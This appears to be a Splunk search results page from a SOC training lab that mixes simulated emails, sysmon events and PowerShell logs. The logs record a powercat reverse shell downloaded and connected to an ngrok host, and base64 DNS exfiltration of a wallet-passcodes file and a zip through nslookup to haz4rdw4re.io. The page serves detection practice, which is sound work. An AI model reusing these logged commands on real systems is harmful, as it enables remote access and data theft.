New Search

```
1  sourcetype=_json
```

Last 24 hours

✓ **313 events** (12/13/25 5:00:00.000 AM to 12/14/25 5:14:27.000 AM) No Event Sampling

Events (313)

Format Timeline 1 hour per column

SELECTED FIELDS
a host 1
a source 1
a sourcetype 1

INTERESTING FIELDS
a attachment 3
a content 73
a datasource 3
a direction 3
a event.action 9
event.code 7
a file.path 18
a host.name 13
a index 1
linecount 1
a process.command_line 44
a process.name 24
process.parent.pid 46
process.pid 100+
a process.working_directory 15
a punct 75
a recipient 61
a sender 54
a splunk_server 1
a subject 72
a timestamp 100+

14 more fields

+ Extract New Fields (/en-US/app/search/field_extractor?sid=1765689267.244)

Time	Event
12/14/25 5:03:43.369 AM	{ [-] **attachment**: forceupdate.ps1 **content**: Michelle, here's the updated script. This version should work better - just run it when you get a chance. **datasource**: email **direction**: internal **recipient**: michelle.smith@tryhatme.com **sender**: yani.zubair@tryhatme.com **subject**: Force update fix **timestamp**: 12/14/2025 05:03:43.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:03:11.369 AM	{ [-] **datasource**: sysmon **event.action**: Process Create (rule: ProcessCreate) **event.code**: 1 **host.name**: win-3456 **process.command_line**: C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:276824072 WinX:0 WinY:0 IEFrame:0000000000000000 **process.name**: rundll32.exe **process.parent.name**: iexplore.exe **process.parent.pid**: 3937 **process.pid**: 3829 **process.working_directory**: C:\Users\safa.prince\Desktop\ **timestamp**: 12/14/2025 05:03:11.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 5:03:09.369 AM	{ [-] **datasource**: sysmon **event.action**: Registry value set (rule: Registry Event) **event.code**: 13 **host.name**: win-3452 **process.pid**: 3764 **registry.key**: System\CurrentControlSet\Enum\SWD\PRINTENUM\{1E7F5481-8BCC-4426-B671-08BCD04848A0}\FriendlyName **registry.path**: HKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{1E7F5481-8BCC-4426-B671-08BCD04848A0}\FriendlyName **registry.value**: FriendlyName **timestamp**: 12/14/2025 05:03:09.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:03:09.369 AM	{ [-] **datasource**: sysmon **event.action**: Registry object added or deleted (rule: RegistryEvent) **event.code**: 12 **host.name**: win-3450 **process.name**: spoolsv.exe **process.pid**: 3824 **registry.key**: System\CurrentControlSet\Control\Class\{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}\0003\DriverVersion **registry.path**: HKLM\System\CurrentControlSet\Control\Class\{1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}\0003\DriverVersion **registry.value**: DriverVersion **timestamp**: 12/14/2025 05:03:09.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:02:55.369 AM	{ [-] **attachment**: None **content**: Will there be a recording available for those unable to attend live **datasource**: email **direction**: inbound **recipient**: cain.omoore@tryhatme.com **sender**: osman@stylewatchjournal.com **subject**: RE: RE: Seminar Registration: Hat Industry Innovation Trends **timestamp**: 12/14/2025 05:02:55.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 5:02:52.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3449 process.command_line: "C:\Program Files\Internet Explorer\iexplore.exe" -startmanager -Embedding process.name: iexplore.exe process.parent.pid: 3987 process.pid: 3903 process.working_directory: C:\Windows\system32\ timestamp: 12/14/2025 05:02:52.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:02:29.369 AM	{ [-] datasource: sysmon dns.answers.data: 172.16.1.15 dns.question.name: mailsrv-01.tryhatme.com dns.resolved_ip: 172.16.1.15 event.action: Dns query (rule: DnsQuery) event.code: 22 host.name: win-3452 network.protocol: dns process.name: OUTLOOK.EXE process.pid: 3968 timestamp: 12/14/2025 05:02:29.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:02:21.369 AM	{ [-] attachment: None content: This is getting ridiculous—why is this still unresolved? datasource: email direction: internal recipient: sophie.j@tryhatme.com sender: sophie.j@tryhatme.com subject: RE: RE: Concerns over IHateHats.tech timestamp: 12/14/2025 05:02:21.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 5:02:14.369 AM	{ [-] attachment: None content: Travel through time and experience the evolution of hats from ancient Egypt to futuristic Mars Only 500 per ticket datasource: email direction: inbound recipient: contact@tryhatme.com sender: josephine@gmail.com subject: Time Traveling Hat Adventure Explore Ancient Lands for Cheap timestamp: 12/14/2025 05:02:14.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:02:01.369 AM	{ [-] attachment: None content: Thank you for the opportunity I confirm my availability and look forward to speaking with your team datasource: email direction: outbound recipient: duke@trendsettingtrilbies.com sender: invoice@tryhatme.com subject: RE: Job Interview Invitation: Exciting Career Opportunity timestamp: 12/14/2025 05:02:01.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:02:01.369 AM	{ [-] attachment: None content: Please review and confirm availability for the proposed meeting time datasource: email direction: inbound recipient: contact@tryhatme.com sender: day@stylishhatboutique.com subject: FWD: Scheduling a Virtual Meeting to Discuss Market Trends timestamp: 12/14/2025 05:02:01.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 5:01:51.369 AM	{ [-] attachment: None content: The upcoming seminar will cover the latest innovations in hat manufacturing and design Secure your spot today datasource: email direction: outbound recipient: barker@hatcouturecompany.net sender: sophie.j@tryhatme.com subject: Seminar Registration: Hat Industry Innovation Trends timestamp: 12/14/2025 05:01:51.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:01:47.369 AM	{ [-] attachment: None content: Here is a summary of our last discussion along with action items for the next steps Let us know if you have any modifications datasource: email direction: outbound recipient: duke@stylewatchjournal.com sender: roger.fedora@tryhatme.com subject: Follow-up on Previous Discussion: Next Steps for Engagement timestamp: 12/14/2025 05:01:47.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:01:39.369 AM	{ [-] attachment: None content: Your feedback matters—take a few minutes to fill this out. datasource: email direction: internal recipient: michelle.smith@tryhatme.com sender: michelle.smith@tryhatme.com subject: Hat-titude Check: Employee Feedback Survey timestamp: 12/14/2025 05:01:39.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 5:01:22.369 AM	{ [-] datasource: sysmon event.action: Registry value set (rule: Registry Event) event.code: 13 host.name: win-3456 process.pid: 3878 registry.key: System\CurrentControlSet\Enum\SWD\PRINTENUM\{49455221-FA52-47F9-826D-B41CFD35E447}\FriendlyName registry.path: HKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{49455221-FA52-47F9-826D-B41CFD35E447}\FriendlyName registry.value: FriendlyName timestamp: 12/14/2025 05:01:22.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:01:10.369 AM	{ [-] datasource: sysmon event.action: Registry value set (rule: Registry Event) event.code: 13 host.name: win-3458 process.name: spoolsv.exe process.pid: 3613 registry.key: System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{1E7F5481-8BCC-4426-B671-08BCD04848A0}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName registry.path: HKLM\System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{1E7F5481-8BCC-4426-B671-08BCD04848A0}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName registry.value: FriendlyName timestamp: 12/14/2025 05:01:10.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 5:01:08.369 AM	{ [-] datasource: sysmon dns.answers.data: 172.16.1.10 dns.question.name: DC-01.tryhatme.com dns.resolved_ip: 172.16.1.10 event.action: Dns query (rule: DnsQuery) event.code: 22 host.name: win-3453 network.protocol: dns process.name: OUTLOOK.EXE process.pid: 3821 timestamp: 12/14/2025 05:01:08.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:00:30.369 AM	{ [-] datasource: sysmon dns.answers.data: 172.16.1.10 dns.question.name: DC-01.tryhatme.com dns.resolved_ip: 172.16.1.10 event.action: Dns query (rule: DnsQuery) event.code: 22 host.name: win-3455 network.protocol: dns process.name: OUTLOOK.EXE process.pid: 3851 timestamp: 12/14/2025 05:00:30.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:00:16.369 AM	{ [-] datasource: sysmon event.action: Registry object added or deleted (rule: RegistryEvent) event.code: 12 host.name: win-3453 process.name: spoolsv.exe process.pid: 3888 registry.key: System\CurrentControlSet\Enum\SWD\PRINTENUM\{2D00BA8B-3E7F-4C85-88E7-D1E9D13350F0}\FriendlyName registry.path: HKLM\System\CurrentControlSet\Enum\SWD\PRINTENUM\{2D00BA8B-3E7F-4C85-88E7-D1E9D13350F0}\FriendlyName registry.value: FriendlyName timestamp: 12/14/2025 05:00:16.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 5:00:12.369 AM	{ [-] attachment: None content: Interviews set for next week. Check your calendars for slots. datasource: email direction: internal recipient: safa.prince@tryhatme.com sender: safa.prince@tryhatme.com subject: Hiring Update - Interview Schedule timestamp: 12/14/2025 05:00:12.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:00:06.369 AM	{ [-] datasource: sysmon event.action: Registry value set (rule: Registry Event) event.code: 13 host.name: win-3451 process.name: spoolsv.exe process.pid: 3623 registry.key: System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{49455221-FA52-47F9-826D-B41CFD35E447}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName registry.path: HKLM\System\CurrentControlSet\Control\DeviceClasses\{0ecef634-6ef0-472a-8085-5ad023ecbccd}\##?#SWD#PRINTENUM#{49455221-FA52-47F9-826D-B41CFD35E447}#{0ecef634-6ef0-472a-8085-5ad023ecbccd}\#\Device Parameters\FriendlyName registry.value: FriendlyName timestamp: 12/14/2025 05:00:06.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 5:00:02.369 AM	{ [-] datasource: sysmon dns.answers.data: 172.16.1.10 dns.question.name: DC-01.tryhatme.com dns.resolved_ip: 172.16.1.10 event.action: Dns query (rule: DnsQuery) event.code: 22 host.name: win-3457 network.protocol: dns process.name: OUTLOOK.EXE process.pid: 3814 timestamp: 12/14/2025 05:00:02.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:49.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: . Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=5745 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=bbaf2919-3765-42de-b254-1953f32951cb HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e powershell EngineVersion=5.1.20348.1366 RunspaceId=b980ae09-17ad-4495-b218-4b1e52190205 PipelineId=1 ScriptName= CommandLine= Details: CommandInvocation(Out-Default): "Out-Default" powershell.command.invocation_details.value: "Out-Default" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e powershell timestamp: 12/14/2025 04:59:49.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:49.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $FuncVars["Process"] | Stop-Process. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=5741 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=bbaf2919-3765-42de-b254-1953f32951cb HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e powershell EngineVersion=5.1.20348.1366 RunspaceId=b980ae09-17ad-4495-b218-4b1e52190205 PipelineId=1 ScriptName= CommandLine= $FuncVars["Process"] | Stop-Process Details: CommandInvocation(Stop-Process): "Stop-Process"ParameterBinding(Stop-Process): name="InputObject"; value="System.Diagnostics.Process (powershell)" powershell.command.invocation_details.value: "Stop-Process", "System.Diagnostics.Process (powershell)" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 2.tcp.ngrok.io -p 19282 -e powershell timestamp: 12/14/2025 04:59:49.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:40.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\BitcoinWalletPasscodes.txt")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=485 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=59 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\BitcoinWalletPasscodes.txt")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup RmYjEyNGZiMTY1NjZlfQ==.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup RmYjEyNGZiMTY1NjZlfQ==.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:40.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:40.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" RmYjEyNGZiMTY1NjZlfQ==.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3648 process.working_directory: C:\Users\michael.ascot\downloads\ timestamp: 12/14/2025 04:59:40.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:59:40.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3700 process.working_directory: C:\Users\michael.ascot\downloads\ timestamp: 12/14/2025 04:59:40.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:40.369 AM	{ [-] **datasource**: powershell **event.action**: Pipeline Execution Details **file.path**: - **host.name**: win-3450 **message**: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\BitcoinWalletPasscodes.txt")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=483 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=59 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\BitcoinWalletPasscodes.txt")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm.haz4rdw4re.io" **powershell.command.invocation_details.value**: "Invoke-Expression", "nslookup VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm.haz4rdw4re.io" **powershell.command.name**: - **powershell.file.script_block_text**: - **process.command_line**: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass **timestamp**: 12/14/2025 04:59:40.369 **winlog.process.pid**: - } Show as raw text host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time	Event
12/14/25 4:59:40.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\BitcoinWalletPasscodes.txt")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=487 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=59 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\BitcoinWalletPasscodes.txt")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Where-Object): "Where-Object"ParameterBinding(Where-Object): name="FilterScript"; value=" $_ -ne '' "CommandInvocation(ForEach-Object): "ForEach-Object"ParameterBinding(ForEach-Object): name="Process"; value="Invoke-Expression "nslookup $_.haz4rdw4re.io""ParameterBinding(Where-Object): name="InputObject"; value=""ParameterBinding(Where-Object): name="InputObject"; value="VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm"ParameterBinding(ForEach-Object): name="InputObject"; value="VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm"ParameterBinding(Where-Object): name="InputObject"; value=""ParameterBinding(Where-Object): name="InputObject"; value="RmYjEyNGZiMTY1NjZlfQ=="ParameterBinding(ForEach-Object): name="InputObject"; value="RmYjEyNGZiMTY1NjZlfQ=="ParameterBinding(Where-Object): name="InputObject"; value="" powershell.command.invocation_details.value: "Where-Object", " $_ -ne '' ", "ForEach-Object", "Invoke-Expression "nslookup $_.haz4rdw4re.io"", "", "VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm", "VEhNezE0OTczMjFmNGY2ZjA1OWE1Mm", "", "RmYjEyNGZiMTY1NjZlfQ==", "RmYjEyNGZiMTY1NjZlfQ==", "" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:40.369 winlog.process.pid: - }

Time	Event
	Show as raw text host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json
12/14/25 4:59:32.369 AM	{ [-] attachment: None content: I have checked my schedule and I will be attending Looking forward to meeting everyone and exchanging ideas datasource: email direction: outbound recipient: conor@yahoo.com sender: michael.ascot@tryhatme.com subject: RE: Invitation to a Business Networking Luncheon Next Week timestamp: 12/14/2025 04:59:32.369 } Show as raw text host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time	Event
12/14/25 4:59:25.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=465 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup IAAgCUAAAAtQAAAAAA.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup IAAgCUAAAAtQAAAAAA.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:25.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:25.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=461 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup AAAABbAAAASW52ZXN0b3JQcmVzZW50.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup AAAABbAAAASW52ZXN0b3JQcmVzZW50.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:25.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:25.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=453 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup AAAI8AAAAbAAAAAAAAAAAAAAAAAA.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup AAAI8AAAAbAAAAAAAAAAAAAAAAAA.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:25.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time	Event
12/14/25 4:59:25.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=449 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup 8KKEotTs0rSSzJzM8zMjAy1isoKKkA.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup 8KKEotTs0rSSzJzM8zMjAy1isoKKkA.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:25.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time	Event
12/14/25 4:59:25.369 AM	{ [-] **datasource**: powershell **event.action**: Pipeline Execution Details **file.path**: - **host.name**: win-3450 **message**: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=451 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split 